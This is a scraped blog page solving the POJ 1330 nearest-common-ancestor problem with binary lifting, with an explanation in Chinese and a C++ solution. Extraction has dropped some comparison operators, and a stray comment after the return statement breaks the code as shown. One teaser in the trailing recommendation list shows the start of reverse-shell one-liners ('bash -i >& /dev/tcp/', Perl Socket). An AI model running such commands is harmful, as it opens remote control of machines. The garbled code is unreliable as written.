POJ 1330 Nearest Common Ancestors / UVALive 2525 Nearest Common Ancestors (最近公共祖先LCA)

Description

A rooted tree is a well-known data structure in computer science and engineering. An example is shown below:



In the figure, each node is labeled with an integer from {1, 2,...,16}. Node 8 is the root of the tree. Node x is an ancestor of node y if node x is in the path between the root and node y. For example, node 4 is an ancestor of node 16. Node 10 is also an ancestor of node 16. As a matter of fact, nodes 8, 4, 10, and 16 are the ancestors of node 16. Remember that a node is an ancestor of itself. Nodes 8, 4, 6, and 7 are the ancestors of node 7. A node x is called a common ancestor of two different nodes y and z if node x is an ancestor of node y and an ancestor of node z. Thus, nodes 8 and 4 are the common ancestors of nodes 16 and 7. A node x is called the nearest common ancestor of nodes y and z if x is a common ancestor of y and z and nearest to y and z among their common ancestors. Hence, the nearest common ancestor of nodes 16 and 7 is node 4. Node 4 is nearer to nodes 16 and 7 than node 8 is.

For other examples, the nearest common ancestor of nodes 2 and 3 is node 10, the nearest common ancestor of nodes 6 and 13 is node 8, and the nearest common ancestor of nodes 4 and 12 is node 4. In the last example, if y is an ancestor of z, then the nearest common ancestor of y and z is y.

Write a program that finds the nearest common ancestor of two distinct nodes in a tree.

Input

The input consists of T test cases. The number of test cases (T) is given in the first line of the input file. Each test case starts with a line containing an integer N , the number of nodes in a tree, 2<=N<=10,000. The nodes are labeled with integers 1, 2,..., N. Each of the next N -1 lines contains a pair of integers that represent an edge --the first integer is the parent node of the second integer. Note that a tree with N nodes has exactly N - 1 edges. The last line of each test case contains two distinct integers whose nearest common ancestor is to be computed.

Output

Print exactly one line for each test case. The line should contain the integer that is the nearest common ancestor.

Sample Input

2

16

1 14

8 5

10 16

5 9

4 6

8 4

4 10

1 13

6 15

10 11

6 7

10 2

16 3

8 1

16 12

16 7

5

2 3

3 4

3 1

1 5

3 5

Sample Output

4

3

Http

POJ:https://vjudge.net/problem/POJ-1330

UVAlive:https://vjudge.net/problem/UVALive-2525

Source

最近公共祖先,LCA

题目大意

给出一棵树,求两点之间的公共祖先。

解决思路

求LCA有多种方法,那么本题我们用在线的倍增算法。

倍增算法基于的是非常高效的二分思想,即二分两个点的祖先,看是否是共同祖先,若是,则寻找更近的,若不是,则寻找更远的。

那么为了实现这个二分,我们定义一个Parent数组,Parent[u][i]表示u的(1 << i)祖先(即2i祖先),为什么要选择2i呢,因为我们用的是二分嘛。

另外,为了方便后面倍增,我们再定义一个Depth[u]数组表示u的深度。

那么首先我们用一个dfs求出Depth[u]和parent[u][0](即u的父亲,这是可以在dfs中求出来的)

然后,我们求出Parent的其他数组,Parent[u][i]=Parent[Parent[u][i-1]][i-1],这个很显然,u的2i祖先就是u的2(i-1)祖先的2^(i-1)祖先(自己可以手动模拟一下)

有了上面求出来的两组信息,我们就可以在线地求LCA啦。

现在假设我们要求LCA的是两个点a和b,并且Depth[a]>Depth[b](如果不是怎么办,swap(a,b)就可以了)。

那么,我们的第一步是把a与b提升到同一高度,这个较好理解。让k从大(一般是20)到小(0)循环,每次判断Depth[Parent[a][k]]与Depth[b]的大小关系,若Depth[Parent[a][k]]==Deptf[b],则a=Parent[a][k],相当于把a向上翻。

在a与b到达同一高度后,若此时ab说明已经找到了a,b的公共祖先,直接输出即可。若还不是,则把二者同时向上翻。注意,为了保证求得的是最近的公共祖先,这里的if判断不能写Parent[a][k]Parent[b][k],而要写Parent[a][k]!=Parent[b][k](自己想一想,为什么)

最后求得的解就是Parent[a][0](或者是Parent[b][0],两者是一样的)

LCA还有一些细节的地方需要注意,具体请看代码(都用注释标记出来了)

代码

#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<algorithm>
#include<vector>
using namespace std; const int maxN=10011;
const int inf=2147483647; int n;
int root;
vector<int> E[maxN];
int Parent[maxN][25];
int Depth[maxN];
bool vis[maxN]; int read();//读入优化
void LCA_init();
void dfs(int u);
int LCA(int a,int b); int main()
{
int TT;
TT=read();
for (int ti=1;ti<=TT;ti++)
{
n=read();
for (int i=1;i<=n;i++)
E[i].clear();
memset(vis,0,sizeof(vis));
for (int i=1;i<n;i++)
{
int x=read(),y=read();
E[x].push_back(y);
vis[y]=1;
}
for (int i=1;i<=n;i++)
if (vis[i]==0)
root=i;
//cout<<root<<endl;
LCA_init();//LCA的初始化,即计算Depth和Parent数组
cout<<LCA(read(),read())<<endl;
}
return 0;
} int read()
{
int x=0;
int k=1;
char ch=getchar();
while (((ch>'9')||(ch<'0'))&&(ch!='-'))
ch=getchar();
if (ch=='-')
{
k=-1;
ch=getchar();
}
while ((ch<='9')&&(ch>='0'))
{
x=x*10+ch-48;
ch=getchar();
}
return x*k;
} void LCA_init()
{
memset(Depth,0,sizeof(Depth));
Depth[root]=0;
memset(Parent,0,sizeof(Parent));
dfs(root);//首先用dfs计算出Depth和Parent[u][0]
int kk=0;
for (int j=1;j<=20;j++)//注意这里必须是j的循环在外面,i在里面,这是为了保证要计算某个值时它所需要的值已经计算出来了。
for (int i=1;i<=n;i++)
Parent[i][j]=Parent[Parent[i][j-1]][j-1];
/*for (int i=1;i<=n;i++)
{
for (int j=0;j<=kk;j++)
cout<<Parent[i][j]<<' ';
cout<<endl;
}
*/
} void dfs(int u)
{
for (int i=0;i<E[u].size();i++)
{
int v=E[u][i];
Depth[v]=Depth[u]+1;
Parent[v][0]=u;
dfs(v);
}
return;
} int LCA(int a,int b)
{
if (Depth[b]>Depth[a])//保证a的深度>=b的深度
swap(a,b); for (int i=20;i>=0;i--)//把a提到与b高度一致
if ((Parent[a][i]!=0)&&(Depth[Parent[a][i]]>=Depth[b]))
a=Parent[a][i];
if (a==b)
return a; for (int i=20;i>=0;i--)//把a和b同时向上提
if ((Parent[a][i]!=0)&&(Parent[b][i]!=0)&&(Parent[a][i]!=Parent[b][i]))
{
a=Parent[a][i];
b=Parent[b][i];
}
return Parent[a][0];注意返回值
}

POJ 1330 Nearest Common Ancestors / UVALive 2525 Nearest Common Ancestors (最近公共祖先LCA)的更多相关文章

  1. POJ 1470 Closest Common Ancestors(最近公共祖先 LCA)

    POJ 1470 Closest Common Ancestors(最近公共祖先 LCA) Description Write a program that takes as input a root ...

  2. POJ 1330 Nearest Common Ancestors 【最近公共祖先LCA算法+Tarjan离线算法】

    Nearest Common Ancestors Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 20715   Accept ...

  3. POJ 1470 Closest Common Ancestors【近期公共祖先LCA】

    版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/u013912596/article/details/35311489 题目链接:http://poj ...

  4. [leetcode]236. Lowest Common Ancestor of a Binary Tree二叉树最近公共祖先

      Given a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree. Accordi ...

  5. 236. Lowest Common Ancestor of a Binary Tree(最低公共祖先,难理解)

    Given a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree. According ...

  6. LeetCode OJ:Lowest Common Ancestor of a Binary Tree(最近公共祖先)

    Given a binary tree, find the lowest common ancestor (LCA) of two given nodes in the tree. According ...

  7. POJ 1330 Nearest Common Ancestors (最近公共祖先LCA + 详解博客)

    LCA问题的tarjan解法模板 LCA问题 详细 1.二叉搜索树上找两个节点LCA public int query(Node t, Node u, Node v) { int left = u.v ...

  8. HDU 1330 Nearest Common Ancestors(求两个点的近期公共祖先)

    题目链接:id=1330">传送门 在线算法: #include <iostream> #include <cstdio> #include <cstri ...

  9. POJ 1470 Closest Common Ancestors (最近公共祖先LCA 的离线算法Tarjan)

    Tarjan算法的详细介绍,请戳: http://www.cnblogs.com/chenxiwenruo/p/3529533.html #include <iostream> #incl ...

随机推荐

  1. 新写的高仿Arcmap,要的拿去玩玩

    本想着对所学的ArcGIS Engine开发作一个了结,于是乎写了这么一个仿照Arcmap的程序.我所见过的地理信息系统中,ArcGIS是功能最完善.二次开发最易上手的平台了(当然别提AutoCAD那 ...

  2. Hadoop SSH+IP、SSH+别名 免密登录配置

    1.为什么要进行 SSH 无密码验证配置? Hadoop运行过程中需要管理远端Hadoop守护进程,在Hadoop启动以后,NameNode是通过SSH(Secure Shell)来启动和停止各个Da ...

  3. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  4. Javascript中的数组去重-indexof方法

    在Javascript中,有时我们会用到数组去重.我在这里给大家介绍一下本人认为最简单实用的一种方法-indexOf()去重. var arr = [1,1,1,2,2,2,3,3,4,5,6,2,1 ...

  5. JSON 转换异常 multipartRequestHandler servletWrapper

    下面出现红色的字还有警告,解决方法:本人项目是struts1 from类继承了“extends ActionForm” .把它去掉就行了.如果你是其它的框架一定是继承引起的作个参考吧. ....... ...

  6. cut的用法

    1.基本功能 从文件或标准输入的每行中删除指定的部分. 2.基本用法 cut -[cdf] [FILE] 3.例子 $ ls -l total 2944 -rwxr-xr-x 1 zach pubs ...

  7. ionic 使用了 crosswalkwebview 所产生的bug 及 解决方案

    一.问题产生: 在ionic app 优化方案中,我在前之前的博文中提到使用 --crosswalkwebview: 使用了crosswalkwebview后,app的显示及兼容效果确实很不错,虽然a ...

  8. 网页中区分IE各版本

    CSS Hack 直接在CSS文件中写CSS Hack是非常直观的区分方法.区分不同IE版本的hack代码为 #content{ background:red; /* 所有浏览器 */ backgro ...

  9. 学习mysql语法--基础篇(二)

      前  言  mysql  mysql语法--本篇学习都是通过使用Navicat Premium(数据库管理工具),连接mysql数据. 本篇学习主要有两个部分: [SQL语句的组成]   DML ...

  10. JS如何实现真正的对象常量

    前言 众所周知ES6新增的const关键字可以用来声明常量,但是它只对基本数据类型生效(Number.String.Boolean等),那如果我们想声明一个常量对象呢?该如何实现,Object内置对象 ...